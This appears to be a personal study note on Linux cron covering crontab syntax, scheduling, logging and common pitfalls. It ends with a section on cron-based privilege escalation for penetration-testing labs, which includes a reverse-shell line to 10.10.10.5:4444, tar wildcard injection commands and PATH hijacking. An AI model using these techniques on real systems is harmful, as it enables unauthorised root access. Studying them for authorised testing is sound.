Cron Jobs

Cron is Linux's time-based job scheduler — it runs commands/scripts automatically at specified times. For your work, cron matters in two directions: as a **sysadmin tool** (automating scans, backups, report generation) and as a **privilege escalation vector** (misconfigured cron jobs owned by root are one of the most common Linux privesc findings).

---

1. What is Cron, Really?

`cron` is a background daemon (`crond`) that wakes up every minute, checks a set of schedule files (**crontabs**), and runs any job whose scheduled time matches the current time.

Every user can have their own crontab, and the system itself has global crontabs for system-wide tasks.

---

2. The Crontab Syntax

```
* * * * *  command_to_run
| | | | |
| | | | └── day of week (0-7, both 0 and 7 = Sunday)
| | | └──── month (1-12)
| | └────── day of month (1-31)
| └──────── hour (0-23)
└────────── minute (0-59)
```

Special characters:

Symbol	Meaning	Example
`*`	every value	`* * * * *` = every minute
`,`	list of values	`0,30 * * * *` = at :00 and :30
`-`	range	`0 9-17 * * *` = every hour, 9am–5pm
`/`	step values	`*/5 * * * *` = every 5 minutes

Symbol	Meaning	Example
`?`	(not standard cron, used in some variants like Quartz)	—

3. Practical Schedule Examples

```
# Every minute
* * * * * /home/omkar/scripts/heartbeat.sh

# Every 5 minutes
*/5 * * * * /home/omkar/scripts/check_disk.sh

# Every hour, on the hour
0 * * * * /home/omkar/scripts/log_rotate.sh

# Every day at 2:30 AM
30 2 * * * /home/omkar/scripts/backup.sh

# Every Monday at 9:00 AM
0 9 * * 1 /home/omkar/scripts/weekly_report.sh

# Every 6 hours
0 */6 * * * /home/omkar/scripts/scan.sh

# First day of every month at midnight
0 0 1 * * /home/omkar/scripts/monthly_cleanup.sh

# Every weekday (Mon-Fri) at 6:00 PM
0 18 * * 1-5 /home/omkar/scripts/eod_report.sh

# Twice a day: 8 AM and 8 PM
0 8,20 * * * /home/omkar/scripts/status_check.sh
```

Day-of-week reference:

```
0 = Sunday, 1 = Monday, 2 = Tuesday, 3 = Wednesday,
4 = Thursday, 5 = Friday, 6 = Saturday, 7 = Sunday (also)
```

4. Editing Your Crontab

```
crontab -e          # edit your own crontab (opens in defau
lt editor)
crontab -l           # list your current cron jobs
crontab -r           # remove all your cron jobs (careful!)
crontab -u omkar -e  # edit another user's crontab (needs r
oot)
```

When you save, cron automatically picks up the changes — no need to restart the service.

5. Example: A Real Crontab Entry for a Recon Workflow

Say you want to automate a nightly recon sweep on an authorized target range and email yourself the results:

```
# Nightly Nmap scan at 1 AM, results saved with date stamp
0 1 * * * /usr/bin/nmap -sV -oN /home/omkar/scans/scan_$(da
te +\%Y\%m\%d).txt 192.168.1.0/24
```

Important gotcha: inside a crontab, `%` has a special meaning (it represents a newline unless escaped). That's why `date +\%Y\%m\%d` needs the backslashes — this trips up almost everyone the first time they try to use `date` formatting in a cron job.

A cleaner approach — put the logic in a script instead of inline in the crontab:

```
#!/bin/bash
# /home/omkar/scripts/nightly_scan.sh
timestamp=$(date +%Y%m%d)
nmap -sV -oN "/home/omkar/scans/scan_$timestamp.txt" 192.16
8.1.0/24
```

```
0 1 * * * /home/omkar/scripts/nightly_scan.sh
```

6. System-Wide Cron Locations

Beyond per-user crontabs (`crontab -e`), Linux has several system-level locations:

```
/etc/crontab              # system-wide crontab (has an extra "user" field)
/etc/cron.d/               # directory for individual system cron files
/etc/cron.hourly/          # scripts run every hour
/etc/cron.daily/           # scripts run once a day
/etc/cron.weekly/          # scripts run once a week
/etc/cron.monthly/         # scripts run once a month
/var/spool/cron/crontabs/  # where per-user crontabs actually get stored
```

Note the extra field in `/etc/crontab` — since this file is root-owned and can specify which user to run as:

```
# min hour day month weekday  user    command
  0    3    *    *     *      root    /usr/local/bin/backup.sh
  30   4    *    *     0      omkar   /home/omkar/scripts/weekly_cleanup.sh
```

---

7. Logging and Output

By default, cron emails job output to the user (if mail is configured) — but on most systems without mail set up, output silently disappears unless you redirect it.

```
# Redirect stdout and stderr to a log file
*/10 * * * * /home/omkar/scripts/monitor.sh >> /home/omkar/logs/monitor.log 2>&1

# Discard all output entirely
*/10 * * * * /home/omkar/scripts/silent_task.sh > /dev/null 2>&1
```

Checking cron's own logs (helpful when a job "isn't running"):

```
grep CRON /var/log/syslog          # Debian/Ubuntu
journalctl -u cron                 # systemd-based systems
cat /var/log/cron                  # RHEL/CentOS
```

8. Common Pitfalls (Study These — They Cause 90% of "my cron job doesn't work" issues)

a) Cron uses a minimal environment — `$PATH` isn't your normal shell's `$PATH`

```
# This might fail in cron even though it works fine in your terminal:
* * * * * nmap -sV 192.168.1.1

# Fix: use full paths
* * * * * /usr/bin/nmap -sV 192.168.1.1
```

Check the actual path first: `which nmap`

b) Relative paths break — cron doesn't run from your home directory

```
# Bad — assumes current directory
* * * * * python3 scan.py

# Good — absolute paths everywhere
* * * * * /usr/bin/python3 /home/omkar/scripts/scan.py
```

c) Environment variables aren't inherited

If your script relies on variables set in `.bashrc` (like API keys), cron won't see them unless you explicitly source the file or define variables at the top of the crontab:

```
GROQ_API_KEY=your_key_here
0 1 * * * /home/omkar/scripts/smartscan.sh
```

d) `%` needs escaping (covered above) — a very common silent failure

9. Cron Jobs as a Privilege Escalation Vector (Key for Your VAPT Work)

This is where cron becomes genuinely interesting from an offensive security angle.

a) Writable script executed by root's cron

```
# Check what root's cron is running
cat /etc/crontab
ls -la /etc/cron.d/
crontab -l -u root   # usually requires privileges, but wor
th trying

# Check permissions on any scripts referenced
ls -la /path/to/script/found/above
```

If a script referenced in root's crontab is writable by your low-privilege user, you can inject a reverse shell or privilege-escalation payload:

```
echo 'bash -i >& /dev/tcp/10.10.10.5/4444 0>&1' >> /path/t
o/writable_script.sh
```

Wait for the cron job to fire → you get a shell running **as root**.

b) Writable cron directory itself

```
ls -la /etc/cron.d/
ls -ld /etc/cron.daily/
```

If the directory itself (not just individual files) is writable, you can drop a brand-new malicious cron file that root's cron daemon will pick up and execute.

c) Wildcard injection in cron commands (the classic "tar wildcard" trick)

If a root cron job runs something like:

```
tar -czf /backup/backup.tar.gz *
```

inside a world-writable directory, an attacker can create specially-named files that get interpreted as `tar` command-line options instead of filenames:

```
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh privesc.sh"
```

`tar`'s wildcard expansion picks these up as flags, and `tar` ends up executing `privesc.sh` as root. This exact technique is documented on **GTFOBins** under `tar`.

d) PATH hijacking in cron scripts

If a root cron script calls a binary without a full path (e.g., just `nmap` instead of `/usr/bin/nmap`), and the script's effective `PATH` includes a directory you can write to *before* the real binary's location, you can drop a malicious binary with that name and have root execute your code.

e) Automated enumeration

Tools like **LinPEAS** automatically check all of the above — writable cron files, writable cron directories, PATH issues in cron scripts — as part of their standard Linux privesc sweep. Worth running LinPEAS on Metasploitable 2 or a VulnHub box and specifically reading the "Cron jobs" section of its output to see this mapped to real findings.

---

10. `at` — Cron's One-Time Cousin

Related concept worth knowing: `at` schedules a **single** future execution instead of a recurring one.

```
echo "/home/omkar/scripts/backup.sh" | at 23:00
at now + 10 minutes
atq           # list pending 'at' jobs
atrm 3        # remove job number 3
```

Less commonly abused than cron in CTFs, but shows up occasionally, and worth knowing it exists as cron's sibling.

Quick Reference Cheat Sheet

```
crontab -e                    # edit your crontab
crontab -l                    # list your cron jobs
crontab -r                    # delete all your cron jobs

*/5 * * * *  cmd               # every 5 minutes
0 * * * *    cmd               # every hour
0 0 * * *    cmd               # every day at midnight
0 9 * * 1    cmd               # every Monday at 9 AM

cat /etc/crontab               # system-wide jobs
ls -la /etc/cron.d/            # individual system cron con
figs
grep CRON /var/log/syslog      # cron execution logs

find / -writable -type f 2>/dev/null | grep -i cron   # hun
t for writable cron-related files (privesc)
```